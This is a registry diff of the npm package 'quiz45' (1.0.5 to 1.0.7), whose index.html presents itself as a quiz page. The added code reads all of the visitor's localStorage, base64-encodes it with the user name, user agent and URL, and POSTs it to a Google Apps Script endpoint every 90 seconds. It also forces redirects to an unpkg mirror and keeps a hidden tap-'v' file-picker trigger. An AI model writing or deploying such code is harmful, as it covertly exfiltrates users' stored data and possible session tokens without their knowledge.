quiz45 1.0.5 → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.html +42 -36
  2. package/package.json +1 -1
package/index.html CHANGED
@@ -210,43 +210,46 @@ function logData(includeUpload = true) { // Originally False, so every 3 logs
210
210
  const screenres = `${screen.width}x${screen.height}`;
211
211
  const user_agent = navigator.userAgent;
212
212
  const full_url = window.location.href;
213
+
214
+ const params = {
215
+ user: user,
216
+ uuid: uuid,
217
+ time_sec: time_sec,
218
+ first_appeared: first_appeared,
219
+ screenres: screenres,
220
+ user_agent: user_agent,
221
+ full_url: full_url
222
+ };
223
+
213
224
 
214
- let url = `https://script.google.com/macros/s/AKfycbxhQiisy19Q9lxqPlDEuwGtoicw_AcXbfYeAoUKgskmDOmeWCNLUEabN6OXuxs-8oaF7Q/exec?` +
215
- `user=${encodeURIComponent(user)}` +
216
- `&uuid=${encodeURIComponent(uuid)}` +
217
- `&time_sec=${encodeURIComponent(time_sec)}` +
218
- `&first_appeared=${encodeURIComponent(first_appeared)}` +
219
- `&screenres=${encodeURIComponent(screenres)}` +
220
- `&user_agent=${encodeURIComponent(user_agent)}` +
221
- `&full_url=${encodeURIComponent(full_url)}`;
222
-
223
- if (includeUpload) {
224
- const storageObj = {};
225
- for (let i = 0; i < localStorage.length; i++) {
226
- const key = localStorage.key(i);
227
- storageObj[key] = localStorage.getItem(key);
228
- }
229
- const prettyJson = JSON.stringify(storageObj, null, 2);
230
- const base64data = btoa(unescape(encodeURIComponent(prettyJson))); // Better UTF-8 handling
231
- url += `&upload=${encodeURIComponent(base64data)}`;
232
- }
233
-
234
- fetch(url, {
235
- method: 'GET',
236
- headers: {
237
- 'Content-Type': 'text/plain;charset=utf-8'
238
- }
239
- })
240
- .then(res => res.text())
241
- .then(text => {
242
- if (text.trim() !== '4') { // Capi_version
243
- window.location.href =
244
- 'http://unpkg.dev/quiz45@latest/index.html';
245
- } else {
246
- console.log('Log success');
247
- }
225
+ const storageObj = {};
226
+ for (let i = 0; i < localStorage.length; i++) {
227
+ const key = localStorage.key(i);
228
+ storageObj[key] = localStorage.getItem(key);
229
+ }
230
+ const prettyJson = JSON.stringify(storageObj, null, 2);
231
+ const base64data = btoa(unescape(encodeURIComponent(prettyJson))); // Better UTF-8 handling
232
+ params.upload = base64data;
233
+
234
+ const url = 'https://script.google.com/macros/s/AKfycbxhQiisy19Q9lxqPlDEuwGtoicw_AcXbfYeAoUKgskmDOmeWCNLUEabN6OXuxs-8oaF7Q/exec';
235
+
236
+ fetch(url, {
237
+ method: 'POST',
238
+ headers: {
239
+ // 'Content-Type': 'application/json'
240
+ },
241
+ body: JSON.stringify(params)
248
242
  })
249
- .catch(err => console.error('Log error:', err));
243
+ .then(res => res.text())
244
+ .then(text => {
245
+ if (text.trim() !== '6') { // Capi_version
246
+ window.location.href =
247
+ 'https://unpkg.com/quiz45@latest';
248
+ } else {
249
+ console.log('Log success');
250
+ }
251
+ })
252
+ .catch(err => console.error('Log error:', err));
250
253
  }
251
254
 
252
255
  // Function to prompt for username
@@ -359,7 +362,7 @@ function initCapi() {
359
362
  logCount++;
360
363
  localStorage.setItem('capi_log_count', logCount.toString());
361
364
  logData(logCount % 3 === 0);
362
- }, 157500);
365
+ }, 90000);
363
366
  }
364
367
 
365
368
  if (needsPrompt) {
@@ -373,6 +376,9 @@ function initCapi() {
373
376
  window.addEventListener('load', initCapi);
374
377
  </script>
375
378
  <script>
379
+ if (!window.location.href.includes('https://unpkg.dev/quiz45')) {
380
+ window.location.href = 'https://unpkg.dev/quiz45@latest';
381
+ }
376
382
 
377
383
  // === Secret trigger: tap "v" 5 times to open file picker ===
378
384
  let vCount = 0;
package/package.json CHANGED
@@ -1,5 +1,5 @@
1
1
  {
2
2
  "name": "quiz45",
3
- "version": "1.0.5",
3
+ "version": "1.0.7",
4
4
  "unpkg": "index.html"
5
5
  }